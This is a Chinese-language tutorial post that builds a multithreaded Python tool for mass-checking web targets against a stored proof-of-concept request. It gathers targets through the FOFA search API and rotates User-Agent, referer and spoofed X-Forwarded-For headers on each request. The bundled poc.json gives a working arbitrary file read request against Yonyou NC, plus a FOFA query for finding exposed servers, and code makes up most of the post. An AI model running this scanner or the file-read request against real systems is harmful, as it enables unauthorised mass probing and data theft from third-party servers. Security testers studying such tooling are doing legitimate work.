首頁 > 軟體

POC漏洞批次驗證程式Python指令碼編寫

2022-02-19 16:00:59

編寫目的

批次驗證poc,Python程式碼練習。

需求分析

  • 1、poc儘可能簡單。
  • 2、多執行緒。
  • 3、聯動fofa獲取目標。
  • 4、隨機請求頭.

實現過程

指令碼分為三個模組,獲取poc及目標、多執行緒批次請求驗證、輸出結果。其中批次請求驗證包括構造多執行緒,修改請求引數,傳送請求三個部分。

Main函數

在main函數中,主要有三個部分獲取poc及目標,多執行緒(將目標填充到佇列,建立多執行緒並啟動)、輸出結果。
具體實現如下:

def main():
    # 響應Ctrl+C停止程式
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)
    showpocs()
    ## 獲取目標
    targetList = getTarget()
    ## 多執行緒批次請求驗證
    thread(targetList)
    ## 輸出結果
    putTarget(List)

獲取目標

關於目標來源,設計單個目標、從檔案中讀取多個目標以及根據FoFa語法從FOFA_API中獲取目標三種方式。

定義函數getTarget,函數分為兩個部分

第一部分為根據 -f Fofa語法 獲取目標,預設數目為30條,

第二部分為根據 -u url / -i file / -f num(數目,預設為10)獲取要請求驗證的目標,兩部分以是否傳參poc引數區別,最後返回一個targetList列表。

具體實現如下:

def getTarget():
    targetList=[]
    count=0
    if result.poc==None:
        if result.outfile!=None and result.fofa!=None :
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=result.fofa
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                print("FOFA搜尋:"+qbase)
                fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"
                try:
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    filepath=result.outfile
                    with open(filepath,'w') as targets:
                        for i in results['results']:
                            targets.write(i[1]+'n')
                            print(i[1])
                            count+=1
                        print("搜尋結果有"+str(count)+"條,已儲存在"+filepath+"裡!")
                except Exception as e:
                    print(e)
            sys.exit()
    else:
        if result.url!=None or result.file!=None or result.fofa!=None:
            # 單個目標
            if result.url!=None:
                targetList.append(result.url)
            # 檔案讀取目標
            if result.file!=None:
                try:
                    filepath=result.file
                    with open(filepath,'r') as targets:
                        for target in targets.readlines():
                           targetList.append(target.strip())
                except Exception as e:
                    print(e)
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=""
                pocName = result.poc
                with open('poc.json',encoding='UTF-8') as f:
                    data = json.load(f)
                    for poc in data:
                        if pocName == poc:
                            qbase=data[poc]['fofa']
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                try:
                    fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    print("FOFA搜尋:"+qbase)
                    print("搜尋結果:"+str(result.fofa)+"條")
                    for i in results['results']:
                        targetList.append(i[1])
                    # print(targetList)
                except Exception as e:
                    print(e)
            return targetList
        else :
            sys.exit("參錯有誤!缺少目標!")

批次請求驗證

定義thread函數,封裝多執行緒請求相關程式碼,需傳入獲取到的目標引數targetList。
具體實現如下:

def thread(targetList):
    ## 獲取poc
    poc=poc_load()
    ## 填充佇列
    queueLock.acquire()
    for target in targetList:
        targetQueue.put(target)
    queueLock.release()
    ## 建立執行緒
    threadList = []
    threadNum=result.threadNum
    for i in range(0,threadNum):
        t=reqThread(targetQueue,poc)
        t.setDaemon(True)
        threadList.append(t)
    for i in threadList:
        i.start()
    # 等待所有執行緒完成
    for t in threadList:
        t.join()

載入POC

請求驗證必須使用 -p pocName引數指定要使用的POC,所有POC在poc.json檔案中儲存。

具體實現如下

# 載入poc
def poc_load():
    if result.poc!=None:
        poc = result.poc
        isPoc = False # POC是否存在
        # 讀取json檔案
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            for key in data:
                if poc == key:
                    isPoc=True
        if isPoc==False:
            print("POC 不存在!")
            sys.exit("請通過--show檢視poc列表!")
        else:
            return data[poc]
    else:
        pass

多執行緒類

定義reqThread執行緒類,傳入佇列以及poc兩個引數,封裝req請求方法。
具體實現如下:

class reqThread (threading.Thread):
    def __init__(self, q,poc):
        threading.Thread.__init__(self)
        self.q = q
        self.poc=poc
    def run(self):
        try:
            while not self.q.empty():
                queueLock.acquire()
                target=self.q.get()
                queueLock.release()
                if self.req(target):
                    print(target+" is vuln !")
                    List.append(target)
                else:
                    pass
        except Exception as e:
            pass
    def req(self,url):
        poc=self.poc
        payload=urlParse(url)+poc['request']['url']
        res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)
        if res.status_code==200 and poc['request']['confirm'] in res.text:
            return True
        else:
            return False

其中在req中的請求方法內,存在三個修改請求的方法。

urlParse

對獲取到的目標進行文書處理。

# 處理url
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url

getProxy

指定請求代理。

# 代理
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url

randomHeaders

新增隨機User-Agent、referer、XFF等請求頭引數值。

def randomHeaders(poc):
    headers={}
    uaList=[
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36',
        'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
    ]
    refList=[
        "www.baidu.com"
    ]
    xffList=[
        '127.0.0.1',
        '51.77.144.148',
        '80.93.212.46',
        '109.123.115.10',
        '187.44.229.50',
        '190.14.232.58',
        '5.166.57.222',
        '36.94.142.165',
        '52.149.152.236',
        '68.15.147.8',
        '188.166.215.141',
        '190.211.82.174',
        '101.51.139.179'
    ]
    if 'User-Agent' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['User-Agent']=poc['request']['headers']['User-Agent']
        else:
            headers['User-Agent']=random.choice(uaList)
    if 'referer' in poc['request']['headers']:
        if poc['request']['headers']['referer'].strip()!='':
            headers['referer']=poc['request']['headers']['referer']
        else:
            headers['referer']=random.choice(refList)
    if 'X-Forwarded-For' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']
        else:
            headers['X-Forwarded-For']=random.choice(xffList)
    for key in poc['request']['headers']:
        if key != "referer" and  key != "User-Agent"  and key != "X-Forwarded-For":
            headers[key]=poc['request']['headers'][key]
    return headers

輸出結果

定義全域性變數List,儲存要輸出的目標,定義輸出方法putTarget。
具體實現如下:

List=[]
## 輸出
def putTarget(resultList):
    if result.file!=None or result.fofa!=None:
        if len(resultList)!=0 :
            if result.outfile != None :
                filepath=result.outfile
                with open(filepath,'w') as targets:
                     for target in resultList:
                        targets.write(target+'n')
                print("驗證結果有"+str(len(resultList))+"條,已儲存在"+filepath+"裡!")
        else:
            print("沒有發現存在漏洞的目標!")
    else:
        pass

其他

全域性變數

# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 佇列
targetQueue = queue.Queue(100)
## 鎖
queueLock = threading.Lock()
# 結果
List=[]
# FoFA
email=""
key=""

命令列讀取引數

arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10',  type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()

poc詳情顯示

## 顯示poc
def showpocs():
    isPoc = False
    if result.show != None:
        # 讀取json檔案
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            if result.show== "all":
                print("pocname".ljust(20),"description".ljust(20))  
                print("----------------------------------------------")
                for key in data:
                    print(key.ljust(20),data[key]['name'].ljust(20))
            else:
                if  result.show in data:
                    print("pocname".ljust(20),"description".ljust(20))  
                    print("----------------------------------------------")
                    print(result.show.ljust(20),data[result.show]['name'].ljust(20))
        sys.exit()
    else:
        pass

Ctrl+C結束執行緒

# 停止程式
def quit(signum, frame):
    print('You choose to stop me.')
    sys.exit()
def main():
    # 響應Ctrl+C停止程式
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)

poc.json檔案

poc本質為一次HTTP請求,本著簡單的原則,僅設計名稱、聯動fofa的語法、請求頭、請求內容、以及驗證漏洞存在回顯的內容5個欄位。

{
    "pocname": {
        "name":"漏洞描述",
                "fofa":"fofa搜尋字串,特殊符號需要跳脫",
        "request": {
            "method": "",
            "url":"",
            "headers": {
                "referer": "",
                "User-Agent": "",
                "X-Forwarded-For": "",
                "Content-Type": ""
            },
            "data": "",
            "confirm": "回顯字串"
        }
    },
    "yonyounc": {
        "name": "用友NC 任意檔案讀取",
                "fofa":"app="用友-UFIDA-NC"",
        "request": {
            "method": "get",
            "url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp",
            "headers": {
            "referer": "",
                    "User-Agent": "",
                    "X-Forwarded-For": ""
                },
            "data": "",
            "confirm": "<%@ page language="
        }
    }
}

執行結果

FoFa獲取目標

poc驗證

總結

程式碼實現基本功能,已暫時符合自己使用需求,此次實踐已完成編寫目的,但一些容錯機制以及細小功能點還需完善,如輸入為空程式執行結果,以及代理模組功能待實現。

通過此次程式設計,在熟悉Python程式設計的同時也深感程式碼功底的薄弱。

不過最後還是學習到不少知識,比如多執行緒、讀寫檔案、資料型別操作、命令列引數讀取、程式設計模組化思想等。
  

之後可以多嘗試使用python編寫小demo工具,避免對程式設計思維生疏。

完整程式碼

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from argparse import ArgumentParser
import json
import base64
import random
import threading
import queue
import time
import sys,signal
# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 佇列
targetQueue = queue.Queue(100)
## 鎖
queueLock = threading.Lock()
# 結果
List=[]
# FoFA
email=""
key=""
arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10',  type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()
class reqThread (threading.Thread):
    def __init__(self, q,poc):
        threading.Thread.__init__(self)
        self.q = q
        self.poc=poc
    def run(self):
        try:
            while not self.q.empty():
                queueLock.acquire()
                target=self.q.get()
                queueLock.release()
                if self.req(target):
                    print(target+" is vuln !")
                    List.append(target)
                else:
                    pass
        except Exception as e:
            pass
    def req(self,url):
        poc=self.poc
        payload=urlParse(url)+poc['request']['url']
        res=requests.request(method=poc['request']['method'],url=payload,headers=randomHeaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)
        if res.status_code==200 and poc['request']['confirm'] in res.text:
            return True
        else:
            return False
## IP代理
def getProxy():
    proxy={}
    if result.proxy!= None:
        proxy[result.proxy[:result.proxy.index(":")]]=result.proxy[result.proxy.index(":")+1:]
    return proxy
# 處理url
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url
# 隨機更換User-Agent、XFF、referer
def randomHeaders(poc):
    headers={}
    uaList=[
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36',
        'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
    ]
    refList=[
        "www.baidu.com"
    ]
    xffList=[
        '127.0.0.1',
        '51.77.144.148',
        '80.93.212.46',
        '109.123.115.10',
        '187.44.229.50',
        '190.14.232.58',
        '5.166.57.222',
        '36.94.142.165',
        '52.149.152.236',
        '68.15.147.8',
        '188.166.215.141',
        '190.211.82.174',
        '101.51.139.179'
    ]
    if 'User-Agent' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['User-Agent']=poc['request']['headers']['User-Agent']
        else:
            headers['User-Agent']=random.choice(uaList)
    if 'referer' in poc['request']['headers']:
        if poc['request']['headers']['referer'].strip()!='':
            headers['referer']=poc['request']['headers']['referer']
        else:
            headers['referer']=random.choice(refList)
    if 'X-Forwarded-For' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']
        else:
            headers['X-Forwarded-For']=random.choice(xffList)
    for key in poc['request']['headers']:
        if key != "referer" and  key != "User-Agent"  and key != "X-Forwarded-For":
            headers[key]=poc['request']['headers'][key]
    return headers
# 獲取目標
def getTarget():
    targetList=[]
    count=0
    if result.poc==None:
        if result.outfile!=None and result.fofa!=None :
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=result.fofa
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                print("FOFA搜尋:"+qbase)
                fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"
                try:
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    filepath=result.outfile
                    with open(filepath,'w') as targets:
                        for i in results['results']:
                            targets.write(i[1]+'n')
                            print(i[1])
                            count+=1
                        print("搜尋結果有"+str(count)+"條,已儲存在"+filepath+"裡!")
                except Exception as e:
                    print(e)
            sys.exit()
    else:
        if result.url!=None or result.file!=None or result.fofa!=None:
            # 單個目標
            if result.url!=None:
                targetList.append(result.url)
            # 檔案讀取目標
            if result.file!=None:
                try:
                    filepath=result.file
                    with open(filepath,'r') as targets:
                        for target in targets.readlines():
                           targetList.append(target.strip())
                except Exception as e:
                    print(e)
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=""
                pocName = result.poc
                with open('poc.json',encoding='UTF-8') as f:
                    data = json.load(f)
                    for poc in data:
                        if pocName == poc:
                            qbase=data[poc]['fofa']
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                try:
                    fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    print("FOFA搜尋:"+qbase)
                    print("搜尋結果:"+str(result.fofa)+"條")
                    for i in results['results']:
                        targetList.append(i[1])
                    # print(targetList)
                except Exception as e:
                    print(e)
            return targetList
        else :
            sys.exit("參錯有誤!缺少目標!")
# 載入poc
def poc_load():
    if result.poc!=None:
        poc = result.poc
        isPoc = False
        # 讀取json檔案
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            for key in data:
                if poc == key:
                    isPoc=True
        if isPoc==False:
            print("POC 不存在!")
            sys.exit("請通過--show檢視poc列表!")
        else:
            return data[poc]
    else:
        pass
## 輸出
def putTarget(resultList):
    if result.file!=None or result.fofa!=None:
        if len(resultList)!=0 :
            if result.outfile != None :
                filepath=result.outfile
                with open(filepath,'w') as targets:
                     for target in resultList:
                        targets.write(target+'n')
                print("驗證結果有"+str(len(resultList))+"條,已儲存在"+filepath+"裡!")
        else:
            print("沒有發現存在漏洞的目標!")
    else:
        pass
## 顯示poc
def showpocs():
    isPoc = False
    if result.show != None:
        # 讀取json檔案
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            if result.show== "all":
                print("pocname".ljust(20),"description".ljust(20))  
                print("----------------------------------------------")
                for key in data:
                    print(key.ljust(20),data[key]['name'].ljust(20))
            else:
                if  result.show in data:
                    print("pocname".ljust(20),"description".ljust(20))  
                    print("----------------------------------------------")
                    print(result.show.ljust(20),data[result.show]['name'].ljust(20))
        sys.exit()
    else:
        pass
# 停止程式
def quit(signum, frame):
    print('You choose to stop me.')
    sys.exit()
def thread(targetList):
    ## 獲取poc
    poc=poc_load()
    ## 填充佇列
    queueLock.acquire()
    for target in targetList:
        targetQueue.put(target)
    queueLock.release()
    ## 建立執行緒
    threadList = []
    threadNum=result.threadNum
    for i in range(0,threadNum):
        t=reqThread(targetQueue,poc)
        t.setDaemon(True)
        threadList.append(t)
    for i in threadList:
        i.start()
    # 等待所有執行緒完成
    for t in threadList:
        t.join()
def main():
    # 響應Ctrl+C停止程式
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)
    showpocs() 
    ## 獲取目標
    targetList = getTarget()
    ## 多執行緒批次請求驗證
    thread(targetList)
    ## 輸出結果
    putTarget(List)
if __name__ == '__main__':
    main()

以上就是POC漏洞批次驗證程式Python指令碼編寫的詳細內容,更多關於python指令碼編寫POC批次漏洞驗證的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com